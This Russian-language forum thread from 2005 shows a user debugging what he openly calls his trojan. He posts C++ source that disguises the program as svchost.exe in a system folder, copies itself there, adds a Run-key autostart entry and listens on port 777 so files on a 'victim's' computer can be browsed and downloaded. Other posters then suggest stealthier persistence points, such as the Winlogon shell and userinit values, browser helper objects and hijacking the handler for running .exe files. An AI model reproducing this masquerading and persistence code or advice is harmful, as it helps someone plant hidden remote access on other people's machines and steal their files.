Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Автозагрузка моей программы с Windows

2.9K
20 июля 2005 года
pushkin
43 / / 13.09.2004
При загрузке моей программы из реестра (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\) вся винда начинает жестоко глючить. И не совсем понятно, почему.

Программа сразу после своего запуска запускает дополнительный поток, который каждую секунду пытается удалить один файл (не системный - просто файл), а в основном потоке программа открывает сокет и ставит его в режим прослушивания соединений.

Так вот, после установки этой программы система очень долго загружается и половина служб уже не работают, что жестоко портит винду. Даже после удаления программы из автозагрузки система тормозит по прежнему. Не знаю, что и делать...
243
20 июля 2005 года
pacific_7
1.9K / / 06.09.2004
Цитата:
Originally posted by pushkin
При загрузке моей программы из реестра (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\) вся винда начинает жестоко глючить. И не совсем понятно, почему.


Можно более конкретное описание проблемы? Что за глюки, какие службы отказали, что записано с системных журналах регистрации событий Windows, что дают попытки запустить вручную отказавшие службы, какая ОС и т.д.? Вообще это надо бы в "Операционные системы".

2.9K
21 июля 2005 года
pushkin
43 / / 13.09.2004
Цитата:
Originally posted by pacific_7
Можно более конкретное описание проблемы? Что за глюки, какие службы отказали, что записано с системных журналах регистрации событий Windows, что дают попытки запустить вручную отказавшие службы, какая ОС и т.д.? Вообще это надо бы в "Операционные системы".


У меня была Windows 2000, затем я поставил себе Windows XP SP2, но в ней такая же проблема (зато мне удалось достаточно просто восстановить винду при помощи утилиты восстановления системы). Какие конкретно службы не стартуют - не понятно, каждый раз разные. У меня подозрение, что винда так себя ведет потому что моя программа не создает главного окна, куда винда могла бы слать свои сообщения. Вот она и ждет, пока я создам это окно и не дожидается. Сегодня я буду пробовать ставить в автозапуск программы, которые создают главное окно, консольные приложения. Напишу сюда, когда что-нибудь получится :)

8.7K
21 июля 2005 года
XXXX Pro
47 / / 20.06.2005
А ты уверен, что программа создает всего 1 поток, а не создает новый поток каждую секунду?
А вообще, выложи сюда ее код (хотя бы самую основную часть), тогда будет легче найти ошибку...
2.9K
21 июля 2005 года
pushkin
43 / / 13.09.2004
Цитата:
Originally posted by XXXX Pro
А ты уверен, что программа создает всего 1 поток, а не создает новый поток каждую секунду?
А вообще, выложи сюда ее код (хотя бы самую основную часть), тогда будет легче найти ошибку...



Вот то, что содержится в главном файле программы:
#include <iostream>
#include <vector>
#include "server.h"
#include "commands.h"
#include "common.h"
#include "strlist.h"
#include "shlwapi.h"
#include "resource.h"

using namespace std;
using namespace PUSHKIN_SERVER;

#pragma comment(lib, "shlwapi.lib") // Для PathFileExists

// Поток, пытающийся удалить программу обновления сервера
DWORD WINAPI DeleteSU(LPVOID pParam)
{
// Проверяем, существует ли файл
if (!PathFileExists("su.exe")) return 0;

// Сто раз попытаемся удалить этот файл (раз в пол секунды)
for (int i=0; i<100; i++)
{
// Специально для Windows 98 мы запускаем эту процедуру много-много раз подряд
// чтоб убедиться, что файл действительно удален
DeleteFile("su.exe");

if (!PathFileExists("su.exe")) break; // Если файла уже нет, то выходим из цикла

Sleep(500); // Будем пытаться это сделать каждую секунду
}

return 0;
}

// Функция, регистрирующая сервер на компьютере жертвы
// (конечно, если он еще не зарегистрирован)
int RegisterServer(const char *path_exe, int &b_restart_server)
{
b_restart_server = 0;

char buf[1024];
char new_server_path[1024]; // Новый рабочий каталог сервера
if (!GetSystemDirectory(buf, 1024)) return P_ERROR; // Ошибка при получении директория с системой

// Создаем каталог для нашего трояна (на всякий случай ему понадобится отдельный каталог
strcat(buf, "\\svchost");
if (!PathFileExists(buf))
if (!CreateDirectory(buf, NULL)) return P_ERROR;

strcpy(new_server_path, buf);

strcat(buf, "\\svchost.exe");

// Если сервер был запущен не из папки SYSTEM32, то инициируем процедуру перезапуска сервера
// перезапуск будет происходить сразу же
if (strcmp(path_exe, buf) != 0) b_restart_server = 1;

// Копируем себя туда
if (!CopyFile(path_exe, buf, FALSE)) return P_ERROR;

// Регистрируем программу
HKEY key;
if (RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key) != ERROR_SUCCESS)
return P_ERROR;

// Устанавливаем новое значение ключа для автозагрузки трояна
RegSetValueEx(key, "svchost.p", 0, REG_SZ, (LPBYTE)buf, (DWORD)strlen(buf)+1);
RegCloseKey(key);

// Теперь все подготовлено для возможного перезапуска сервера
// - запускаем процесс перезапуска сервера
if (b_restart_server)
{
// Выгружаем на диск программу перезапуска сервера - в место, откуда будет запускаться сервер
if (CreateSU((String)new_server_path + "\\su.exe") != P_YES) return P_ERROR;

// Запускаем программу из того места
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );

// Запускаем программу обновления сервера
if( !CreateProcess( NULL, (LPSTR)(const char*)((String)new_server_path + "\\su.exe restart svchost.exe"), // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
new_server_path, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) ) // Pointer to PROCESS_INFORMATION structure.
return P_ERROR;
}

return P_YES;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
char buf[1024];
GetModuleFileName(hInst, buf, 1024);

// Затем пытаемся записать себя в автозапуск
// (если надо, то сервер перезапускается из нового места) (прямо там)
int b_restart_server = 0;
RegisterServer(buf, b_restart_server);
if (b_restart_server) return 0; // Выходим из этого экземпляра сервера, если его надо перезапустить

CPushkinServer serv;

// Сразу после запуска сервера пытаемся удалить программу перезапуска сервера
HANDLE hThread = CreateThread(NULL, 0, DeleteSU, NULL, 0, NULL);

// Инициализируем сервер
if (serv.Init(777) != P_YES)
{
cout << "Error starting server!" << endl;
return 0;
}

// Запускаем цикл обработки клиентов
if (serv.Run() != P_YES)
{
cout << "Error running server!" << endl;
return 0;
}

return 0;
}

2.9K
21 июля 2005 года
pushkin
43 / / 13.09.2004
Оказывается, дело было как всегда не в бобине... :) Я свою программу просто назва svchost.exe. Винда просто сама пару процессов с таким именем держит, вот она и не восприняла этот. Как только я переименовал программу в svchvost.exe все прекрасно завелось :)

To pacific_7, XXXX Pro: Спасибо за внимание к теме
243
21 июля 2005 года
pacific_7
1.9K / / 06.09.2004
От наличия - отсутствия окна это совершенно не зависит. Все работает замечательно и без окна.
Цитата:
Originally posted by pushkin
Оказывается, дело было как всегда не в бобине... :) Я свою программу просто назва svchost.exe. Винда просто сама пару процессов с таким именем держит, вот она и не восприняла этот. Как только я переименовал программу в svchvost.exe все прекрасно завелось :)


:D Бросай трояны писать. Кстати, место для автозагрузки ты выбрал слишком "попсовое" - быстро вычислят.

2.9K
21 июля 2005 года
pushkin
43 / / 13.09.2004
Цитата:
Originally posted by pacific_7
От наличия - отсутствия окна это совершенно не зависит. Все работает замечательно и без окна.

:D Бросай трояны писать. Кстати, место для автозагрузки ты выбрал слишком "попсовое" - быстро вычислят.



Это мой первый опыт работы с сокетами - ничего другого в голову не пришло писать, кроме маленького троянчика с возможностью обновления на лету :D

Я, конечно, понимаю, что это самое "лоховое" место, откуда можно запускать троян. Но, если это делать из реестра, то мест, вроде как, не много таких (Секции Run и RunOnce). Потом, можно троян запускать из win.ini как-то. Есть вариант - установить троян в системе как службу (Servive), но я пока не знаю, как это делать. И еще - можно попробовать его переписать при помощи Microsoft DDK чтоб он работал как драйвер коврика мыши, но это дополнительный гемор.

Короче, я пока ограничусь секциями Run в реестре. Мой троянчик ведь пока мало чего умеет - смотреть и скачивать файлы с компьютера жертвы, показывать номер своей версии, обновляться и сразу же автоматически перезапускаться и все на этом :)

253
21 июля 2005 года
Proger_XP
1.5K / / 07.08.2004
Еще троян можно встроить в этот самый SVCHost.exe
Ты юзаешь сокеты на чем? WinSock?
З.Ы: Pacific_7 : откуда можно еще грузить прогу? pls
2.9K
21 июля 2005 года
pushkin
43 / / 13.09.2004
Цитата:
Originally posted by Proger_XP
Еще троян можно встроить в этот самый SVCHost.exe
Ты юзаешь сокеты на чем? WinSock?


Я использую практически только функции Беркли из winsock2.h (send, recv, accept, listen,...)

253
21 июля 2005 года
Proger_XP
1.5K / / 07.08.2004
Цитата:
Originally posted by pushkin
Я использую практически только функции Беркли из winsock2.h (send, recv, accept, listen,...)


Если это не секрет(хотя похоже Pacific_7 его раскрыл )) ), то кинь pls на мыло [email]mailme@smtp.ru[/email] или сюда этот код

243
21 июля 2005 года
pacific_7
1.9K / / 06.09.2004
Цитата:
Originally posted by Proger_XP
Еще троян можно встроить в этот самый SVCHost.exe
Ты юзаешь сокеты на чем? WinSock?


А что можно еще предложить? Лично я для винды альтернативы не вижу.

Цитата:
Originally posted by Proger_XP

З.Ы: Pacific_7 : откуда можно еще грузить прогу? pls


ЛЯНТЯИ! Хотят все на блюдечке. Так не выйдет :) Подскажу: можно в winlogon'е - дописать переменную shell, можно userinit подменить, можно найти параметры run и load находящиеся так же в реестре в подразделе windows (не скажу какой ветви), не следует забывать о BHO IE.
А вообще, поищи по форуму - не так давно была тема связанная с автозагрузкой, кажется в "общих вопросах". Там как раз почти все и расписано.
ЗЫ: папка "Автозагрузка" ;)
ЗЫЗЫ: Да пребудет с вами google.com

253
21 июля 2005 года
Proger_XP
1.5K / / 07.08.2004
Цитата:
Originally posted by pacific_7
А что можно еще предложить? Лично я для винды альтернативы не вижу.

ЛЯНТЯИ! Хотят все на блюдечке. Так не выйдет :) Подскажу: можно в winlogon'е - дописать переменную shell, можно userinit подменить, можно найти параметры run и load находящиеся так же в реестре в подразделе windows (не скажу какой ветви), не следует забывать о BHO IE.
А вообще, поищи по форуму - не так давно была тема связанная с автозагрузкой, кажется в "общих вопросах". Там как раз почти все и расписано.
ЗЫ: папка "Автозагрузка" ;)
ЗЫЗЫ: Да пребудет с вами google.com


Автозагрузка и Run я уже знал
За все это thx, только что такое ВНО? Ты букв не пропустил? ))

243
21 июля 2005 года
pacific_7
1.9K / / 06.09.2004
Ишо упомнил: можно накрутить дел с запуском исполняемых файлов, ярлыков и *.бат, но это уже сложнее ибо при запуске каждой программы нужно проверять наличие экземпляра твоей уже запущенной программы и если она есть, то вырубать новый экземпляр при этом разумеется не забыв запустить то, что пользователь пытался получить. Например для ехе HKLM\SOFTWARE\Classes\exefile\shell\open\command.
243
21 июля 2005 года
pacific_7
1.9K / / 06.09.2004
Цитата:
Originally posted by Proger_XP
Автозагрузка и Run


А ты ничего не путаешь? Не Run - подраздел, что в CurrentVersion, а run - параметр в подразделе windows ;)

Цитата:
Originally posted by Proger_XP
только что такое ВНО? Ты букв не пропустил? ))


Шагом марш в гугл! Набираем "BHO IE объекты" и читаем то, что найдем. Буквы BHO - английские.
ЗЫ: пошел я спать, ищите сами.

253
21 июля 2005 года
Proger_XP
1.5K / / 07.08.2004
Цитата:
Originally posted by pacific_7
А ты ничего не путаешь? Не Run - подраздел, что в CurrentVersion, а run - параметр в подразделе windows ;)

Шагом марш в гугл! Набираем "BHO IE объекты" и читаем то, что найдем. Буквы BHO - английские.
ЗЫ: пошел я спать, ищите сами


Да блин.... Ночной житель.... Да еще у Черного моря ))

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог